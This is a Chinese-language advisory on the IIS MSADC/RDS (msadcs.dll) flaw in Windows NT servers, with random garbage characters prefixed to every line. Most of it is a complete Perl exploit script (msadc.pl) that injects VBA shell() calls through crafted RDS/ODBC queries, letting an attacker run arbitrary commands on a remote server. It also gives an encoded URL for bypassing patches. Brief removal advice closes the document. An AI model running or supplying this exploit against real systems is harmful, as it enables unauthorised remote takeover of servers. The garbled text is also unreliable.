IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W }^X;f L>xecep 涉及程序：
F FC"rG Microsoft NT server
~) ut"4
VINb9W}G[ 描述：
8NP|>uaj 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
i`k{ } !F E~]37!,\\9 详细：
k5 M3g* 如果你没有时间读详细内容的话，就删除:
:c03"jvYE c:\Program Files\Common Files\System\Msadc\msadcs.dll
(r Tn6[ * 有关的安全问题就没有了。
lqaOLZH ,u.G6" < 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
vG X
L'k M/?*?B 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
vca]yK <u 关于利用ODBC远程漏洞的描述，请参看:
b {
M'aV $W_sIS0\z
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OoIs'S-Z # 4$W}6 v 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
.|?UqZ(, http://www.microsoft.com/security/bulletins/MS99-025faq.asp W"3YA+qpI u7>{#] 这里不再论述。
k`aHG8S\ RX])#=Cs 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Ec3TY<mVr I= '6>+P /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5` >%{ o 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
gXy'@ ! _|^cudRv a+!r5689 #将下面这段保存为txt文件，然后: "perl -x 文件名"
LZ'Y3 * G!<-9HA5 #!perl
Sm5 T/&z #
BQ o$c~ # MSADC/RDS 'usage' (aka exploit) script
`J
l/@bE= #
AQ) DiH # by rain.forest.puppy
1\u{1
V #
A
WS[e$Mt2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
nNc>nB1 # beta test and find errors!
W]B75 =PM6:3aKh use Socket; use Getopt::Std;
[\BLb8 getopts("e:vd:h:XR", \%args);
B!j 7vXM2 .X.,.vHx print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&=>|? m8 Z%m\/wr if (!defined $args{h} && !defined $args{R}) {
; ElwF&"!X print qq~
c9/&A Usage: msadc.pl -h <host> { -d <delay> -X -v }
%96l(JlJ)B -h <host> = host you want to scan (ip or domain)
HI\V29
a -d <seconds> = delay between calls, default 1 second
;0"p)O@s04 -X = dump Index Server path table, if available
8~!9bg6C -v = verbose
` zoC++hx -e = external dictionary file for step 5
Z%4w{T +[ BJ*8mKi h Or a -R will resume a command session
1`q>*S]( +3d.JQoKl ~; exit;}
OAi SE` (8In f_ 59 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
& @ U) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-]~KQvIH! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*S= c0 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-\I".8"YE $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
2~B9 (| if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
VK b=)v[K !kQJ6U if (!defined $args{R}){ $ret = &has_msadc;
#E;a ;$p die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:k/Z| s2kom) print "Please type the NT commandline you want to run (cmd /c assumed):\n"
:ceT8-PBRx . "cmd /c ";
/w/um>>K. $in=<STDIN>; chomp $in;
GNX`~%3KYc $command="cmd /c " . $in ;
-qs
R,H L "[>tY if (defined $args{R}) {&load; exit;}
3uy^o W*WSjuFr2 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
J#) %{k_ &try_btcustmr;
X%R ) U$m[{ r2M print "\nStep 2: Trying to make our own DSN...";
{8e4TD9E0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
:pw6#yi8` /r?EY&9G print "\nStep 3: Trying known DSNs...";
A$ 1Gc> C &known_dsn;
tO~o-R g^)8a;/c print "\nStep 4: Trying known .mdbs...";
oR@1/lV &known_mdb;
u"5
hlccH aB ^`3J if (defined $args{e}){
2]'cj print "\nStep 5: Trying dictionary of DSN names...";
+Ua.\1"6 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
dw YGhhm a0)] W%F print "Sorry Charley...maybe next time?\n";
LB\+*P6QM exit;
;=lQMKx0 @!KG;d:l ##############################################################################
UZ-[vD1n n eBcS[ sub sendraw { # ripped and modded from whisker
qBF}-N_ sleep($delay); # it's a DoS on the server! At least on mine...
hOM#j my ($pstr)=@_;
VK[`e[.C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,cFBLj(@ die("Socket problems\n");
YF$n L( if(connect(S,pack "SnA4x8",2,80,$target)){
h
{ M=V select(S); $|=1;
,/Al' print $pstr; my @in=<S>;
s<'WTgy1i select(STDOUT); close(S);
#McX return @in;
'9 tV-whw } else { die("Can't connect...\n"); }}
XJ6=Hg4_O N?l ##############################################################################
b~Un=-@5a qk_YFR?R sub make_header { # make the HTTP request
XF i!= |F my $msadc=<<EOT
#4Ltw ,b^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
H$ !sK User-Agent: ACTIVEDATA
/L;
c -^ Host: $ip
'q7&MM'oS^ Content-Length: $clen
hwi$: [ Connection: Keep-Alive
zOn % \ d 6=Z=4w ADCClientVersion:01.06
<o: O<p@6 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Xu%8Q ?] a+
s%9l --!ADM!ROX!YOUR!WORLD!
$^5 c8wT Content-Type: application/x-varg
bOdQ +Y6 Content-Length: $reqlen
RN ~pC pp R; v EOT
L8~zQV $h ; $msadc=~s/\n/\r\n/g;
b@ OF return $msadc;}
PwS7!dzH- fp2uk3Bm [ ##############################################################################
WVdF/H @XN *H- | sub make_req { # make the RDS request
;t \C !A6 my ($switch, $p1, $p2)=@_;
# 5b
my $req=""; my $t1, $t2, $query, $dsn;
6g 5Lf) yG v {O(}@ if ($switch==1){ # this is the btcustmr.mdb query
&H:2TL! $query="Select * from Customers where City=" . make_shell();
k{E!X $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
DgGG*OXY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
EeDK ^W8N gT#hF]c: elsif ($switch==2){ # this is general make table query
_E us7 $query="create table AZZ (B int, C varchar(10))";
n}3fItSJ $dsn="$p1";}
nEfQLkb[| i _YJq;( elsif ($switch==3){ # this is general exploit table query
2+}hsGnp $query="select * from AZZ where C=" . make_shell();
LLd5Z44v $dsn="$p1";}
z c&i 4K u$
a7 elsif ($switch==4){ # attempt to hork file info from index server
' ;KZ.D $query="select path from scope()";
P$Fq62;}r4 $dsn="Provider=MSIDXS;";}
D lxL: Ybp';8V elsif ($switch==5){ # bad query
pe>[Ts`2F $query="select";
XG8UdR | $dsn="$p1";}
)|`w;F> n1)~/
> $t1= make_unicode($query);
0xz S9 $t2= make_unicode($dsn);
qU+q Y2S: $req = "\x02\x00\x03\x00";
vxl!`$Pi $req.= "\x08\x00" . pack ("S1", length($t1));
C~c|};&% $req.= "\x00\x00" . $t1 ;
O =\`q6l $req.= "\x08\x00" . pack ("S1", length($t2));
A9kn\U92 $req.= "\x00\x00" . $t2 ;
{"hyr/SK d $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
PGJkQsp0 return $req;}
QP< vjj% "4 WwiI9 ##############################################################################
ANlzF& K !d{Ijs'T sub make_shell { # this makes the shell() statement
2}kJN8\F return "'|shell(\"$command\")|'";}
.M >g`UW
RFT`r ##############################################################################
N&] _U%#Q +J
<<me4 sub make_unicode { # quick little function to convert to unicode
4C`p`AQqpQ my ($in)=@_; my $out;
UU DZ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
1aS66TS3 return $out;}
Vy@0Got5= W7?f_E\>W ##############################################################################
I2e@_[
1 Km!~zG7< sub rdo_success { # checks for RDO return success (this is kludge)
NzG] nsw my (@in) = @_; my $base=content_start(@in);
*s6(1 S if($in[$base]=~/multipart\/mixed/){
rk< 3QXv return 1 if( $in[$base+10]=~/^\x09\x00/ );}
p$}1V2h; return 0;}
#KwK``XC 4 :z a:gs0 ##############################################################################
57`9{.HB ]ud H`{] sub make_dsn { # this makes a DSN for us
YV)h"u+@0 my @drives=("c","d","e","f");
(i>bGmiN print "\nMaking DSN: ";
lj"72 foreach $drive (@drives) {
' qN"!\ print "$drive: ";
v<V9Z
<ub my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Hi#f
Qj i "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
LseS8F/q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]C5/-J,F $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
2M*84 oh8P return 0 if $2 eq "404"; # not found/doesn't exist
7"s8G 7 if($2 eq "200") {
[Q:mLc foreach $line (@results) {
vl:V?-sY return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
k_](u91 } return 0;}
Gp}}M Gk f<Xi/ ( ##############################################################################
Ue !~|: #Y<(7 sub verify_exists {
TRku(w1f my ($page)=@_;
N\W4LO6 my @results=sendraw("GET $page HTTP/1.0\n\n");
4<q'QU#l< return $results[0];}
gYW TUM7(-,9 ##############################################################################
ZGC*BP/ 3#~w#Q0% sub try_btcustmr {
+JPHQx'W my @drives=("c","d","e","f");
"Is0:au+?} my @dirs=("winnt","winnt35","winnt351","win","windows");
S|/Za".Gr /=~o|-n8@ foreach $dir (@dirs) {
/..a9x{At> print "$dir -> "; # fun status so you can see progress
ibv.M= foreach $drive (@drives) {
),& tF_z: print "$drive: "; # ditto
0/,Dy2h $reqlen=length( make_req(1,$drive,$dir) ) - 28;
+hz S'z)n& $reqlenlen=length( "$reqlen" );
%TS8 9/ $clen= 206 + $reqlenlen + $reqlen;
GCv*a[8?n EbMG9 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Erq% Ck( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@Xl/<S& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V8+8?5'l wfrSI:+> ##############################################################################
D5jZ; z } o 12w p sub odbc_error {
Is#w=s}2 my (@in)=@_; my $base;
;}QM#5Xdt my $base = content_start(@in);
WzdE XcY if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Wv-nRDNG $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
v>E3|w% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
v 8No D_ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[ @`K i return $in[$base+4].$in[$base+5].$in[$base+6];}
7$|L%Sk print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
W
B7gY\Y&M print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M\)(_I)V= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;ep@
)Y wH0Ks5 ##############################################################################
Nk@a g) N9X`81)t sub verbose {
Oj0,Urs7 my ($in)=@_;
m1,yf*U return if !$verbose;
y5$AAas print STDOUT "\n$in\n";}
]n (:X jb0LMl}/A ##############################################################################
RAi]9` *7 ~-K<gT/ sub save {
/4bHN:I]M my ($p1, $p2, $p3, $p4)=@_;
z<z \) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
kbKGGn4u print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@&} ~r close OUT;}
{+^qm8n m5KAKpCR, ##############################################################################
_0
$W;8X Ry4`Q$=: sub load {
tk~<t qM q my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
PYJ8\XZ1_N open(IN,"<rds.save") || die("Couldn't open rds.save\n");
5`O af\S @p=<IN>; close(IN);
v]e6CZwo $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
n s`njx}C $target= inet_aton($ip) || die("inet_aton problems");
m8C
scC Z} print "Resuming to $ip ...";
u Zkh. 0yB $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
'c&S%Ra[3G if($p[1]==1) {
p!RyxB1.| $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$hE,BeQ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
O.^1 r my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
NI33lp$V if (rdo_success(@results)){print "Success!\n";}
VVVw\|JB> else { print "failed\n"; verbose(odbc_error(@results));}}
02 6 |u|R elsif ($p[1]==3){
J'4V_Kjg- if(run_query("$p[3]")){
Az4a| . print "Success!\n";} else { print "failed\n"; }}
NkL>ru! b9 elsif ($p[1]==4){
8*m=U@5] if(run_query($drvst . "$p[3]")){
x9B5@2J1 print "Success!\n"; } else { print "failed\n"; }}
V{+5Fas^l exit;}
iIO_d4Z rWnZ It" ##############################################################################
U1~6 o"1H ua
HB\Uc sub create_table {
gaa;PX my ($in)=@_;
R @ Bnrk $reqlen=length( make_req(2,$in,"") ) - 28;
V/CZcMY_ $reqlenlen=length( "$reqlen" );
SRBQ"X [M2 $clen= 206 + $reqlenlen + $reqlen;
5"o)^8!> my @results=sendraw(make_header() . make_req(2,$in,""));
usz H1@g' return 1 if rdo_success(@results);
G'0]m-)dw my $temp= odbc_error(@results); verbose($temp);
U?s io%`( return 1 if $temp=~/Table 'AZZ' already exists/;
?VP07
dQTe return 0;}
H;=+ +Dh QZ^P2==x ##############################################################################
N9jSiRJ Q]"u? Q] sub known_dsn {
h Lv_ER? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,!'L~ { my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
iQj2aK Gs "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$S_G:}tna "banner", "banners", "ads", "ADCDemo", "ADCTest");
"Z70
jkW[ c>pbRUMH foreach $dSn (@dsns) {
R#w9%+ print ".";
3IHA+ Zz next if (!is_access("DSN=$dSn"));
[G>U>[u| if(create_table("DSN=$dSn")){
. L'eVLQe print "$dSn successful\n";
( V^C7ix: if(run_query("DSN=$dSn")){
b am*&E%0K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z9vJF.clO print "Something's borked. Use verbose next time\n";}}} print "\n";}
[S#QGB19 ? > 7SZiC` ##############################################################################
R<AT}!mkR 6i.!C5YX] sub is_access {
`-QY<STTP9 my ($in)=@_;
y4Fuh nb> $reqlen=length( make_req(5,$in,"") ) - 28;
pR*)\@ma $reqlenlen=length( "$reqlen" );
"? t@Y $clen= 206 + $reqlenlen + $reqlen;
<oP"kh<D4 my @results=sendraw(make_header() . make_req(5,$in,""));
* M,'F^E2 my $temp= odbc_error(@results);
2,.;Mdl verbose($temp); return 1 if ($temp=~/Microsoft Access/);
T>\ r}p return 0;}
Sm(t"#dp Al 1BnFB ##############################################################################
*&A/0]w !3 j@gi2 sub run_query {
pXBlTZf my ($in)=@_;
Z{gJ m9 $reqlen=length( make_req(3,$in,"") ) - 28;
IQya{e $reqlenlen=length( "$reqlen" );
@h$4M t7N $clen= 206 + $reqlenlen + $reqlen;
dB%q`7O my @results=sendraw(make_header() . make_req(3,$in,""));
"Nlw&+
c7 return 1 if rdo_success(@results);
R; 2q=% my $temp= odbc_error(@results); verbose($temp);
/ig'p53jL return 0;}
1j":j %9M u iEAi ##############################################################################
oGa8#> ^g eC?m sub known_mdb {
}:f
\!b my @drives=("c","d","e","f","g");
;S_\-
]m&g my @dirs=("winnt","winnt35","winnt351","win","windows");
NP_b~e6O= my $dir, $drive, $mdb;
_b(y"+k my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
LtIw{* 3 0X'2d # this is sparse, because I don't know of many
;\[ el<Y)s my @sysmdbs=( "\\catroot\\icatalog.mdb",
'"Q N{ja "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
XBF]|}% "\\system32\\certmdb.mdb",
z0Bw+&^]} "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
`PVr;& {u4=*> ?G my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
eTrIN,4 "\\cfusion\\cfapps\\forums\\forums_.mdb",
G<f "_NT "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
% @9pn1, "\\cfusion\\cfapps\\security\\realm_.mdb",
c4AkH| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
qJ8@A}}8 "\\cfusion\\database\\cfexamples.mdb",
13v# "\\cfusion\\database\\cfsnippets.mdb",
~DJ >)pp "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
6}aH>(3!A "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
d5z?QI "\\cfusion\\brighttiger\\database\\cleam.mdb",
X 'W8 mqk "\\cfusion\\database\\smpolicy.mdb",
eO?.8OM-a "\\cfusion\\database\cypress.mdb",
5C&]YT3 ) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
j9X RC9
"\\website\\cgi-win\\dbsample.mdb",
eYD|`)-f<^ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
`3KXWN`.s "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_T)G?iv:& ); #these are just
2A^>>Q/,u foreach $drive (@drives) {
\vR&-+8dk foreach $dir (@dirs){
+o94w^'^$b foreach $mdb (@sysmdbs) {
Z F&aV? print ".";
a&*fk ?o if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
43p 0k&;-7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f3u^:6U~ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
M* x1{g C/ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Ous_269cM } else { print "Something's borked. Use verbose next time\n"; }}}}}
UNB'Xjp}@ A,4|UA?- foreach $drive (@drives) {
{vL4 :K foreach $mdb (@mdbs) {
Ka$YKY, print ".";
[EX@I
=? if(create_table($drv . $drive . $dir . $mdb)){
/v^1/i print "\n" . $drive . $dir . $mdb . " successful\n";
q=H
dGv if(run_query($drv . $drive . $dir . $mdb)){
9N kr=/I"P print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^Cm9[ 1p
} else { print "Something's borked. Use verbose next time\n"; }}}}
2kS]:4)T }
ARt+"[.* p OB{d^e} ##############################################################################
B]xZ
4 Y '@epiF& sub hork_idx {
2V*<HlqOif print "\nAttempting to dump Index Server tables...\n";
RIDzNdM>U print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
}h PFd $reqlen=length( make_req(4,"","") ) - 28;
$B 3<" $reqlenlen=length( "$reqlen" );
|9X $@R $clen= 206 + $reqlenlen + $reqlen;
I2R"
Y< my @results=sendraw2(make_header() . make_req(4,"",""));
G?t <4MT v if (rdo_success(@results)){
yK #9)W- my $max=@results; my $c; my %d;
jhN]1t /\X for($c=19; $c<$max; $c++){
:@H&v%h(u $results[$c]=~s/\x00//g;
",hPy[k $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
5[py{Gq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Qq. ht $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
xpb,Nzwt^ $d{"$1$2"}="";}
NLz[ F`I foreach $c (keys %d){ print "$c\n"; }
E>}(r%B } else {print "Index server doesn't seem to be installed.\n"; }}
+oT/ v3, `q nNEJL, ##############################################################################
4%( \y "T [A.ix}3mm sub dsn_dict {
scsN2#D7U/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
rh6gB]X]3: while(<IN>){
yX' f"* $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
uV@#;c4 next if (!is_access("DSN=$dSn"));
/7)l 22< if(create_table("DSN=$dSn")){
L/U^1=Wi*O print "$dSn successful\n";
\:To>A32 if(run_query("DSN=$dSn")){
v9<'nU WVR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
l|z0aF;z print "Something's borked. Use verbose next time\n";}}}
E W {vF| print "\n"; close(IN);}
:=iP_*# 8?>
# ##############################################################################
vl "l cen[|yCtOH sub sendraw2 { # ripped and modded from whisker
XmK2Xi;=b sleep($delay); # it's a DoS on the server! At least on mine...
bAsoIra my ($pstr)=@_;
4zRz U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i`Tp +e@a> die("Socket problems\n");
I)B+h8l72< if(connect(S,pack "SnA4x8",2,80,$target)){
K>tubLYh print "Connected. Getting data";
"\x<Zg; open(OUT,">raw.out"); my @in;
#'@pL0dj select(S); $|=1; print $pstr;
8{t^< j$n while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
J ^y1=PM close(OUT); select(STDOUT); close(S); return @in;
gNsas:iGM } else { die("Can't connect...\n"); }}
@]r l2Qqe nF Mc'm ##############################################################################
d=q& % gqN M _+"RKp sub content_start { # this will take in the server headers
w
B i'KS my (@in)=@_; my $c;
$hn=MOMc for ($c=1;$c<500;$c++) {
j0XS12eM if($in[$c] =~/^\x0d\x0a/){
7Ntt#C;]U if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
O Vo3. else { return $c+1; }}}
_>G. return -1;} # it should never get here actually
\%qzTk.&r TspuZR@2 ##############################################################################
su/!<y .}wVM`81z sub funky {
q, 8 TOn my (@in)=@_; my $error=odbc_error(@in);
oV(|51(f if($error=~/ADO could not find the specified provider/){
X4c|*U=4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
EU@
BNja exit;}
RWe$ZZSz! if($error=~/A Handler is required/){
'\ MYC8" print "\nServer has custom handler filters (they most likely are patched)\n";
sUC I+)cM3 exit;}
> ;$C@ if($error=~/specified Handler has denied Access/){
cIL I%W1 print "\nServer has custom handler filters (they most likely are patched)\n";
co93}A,k exit;}}
&tAh RMa <K(qv^C ##############################################################################
t+ ,' Qcy
/)4Hfg sub has_msadc {
LkUYh3 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"}ms | my $base=content_start(@results);
<? Z [X{ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
\ r ^#a return 0;}
*[P"2b# g[NmVY-o ########################
&!xePKvO6k ko2T9NI:S YKUb'D:t] 解决方案：
b-d{)-G{( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
= 02$ Dwr 2、移除web 目录: /msadc
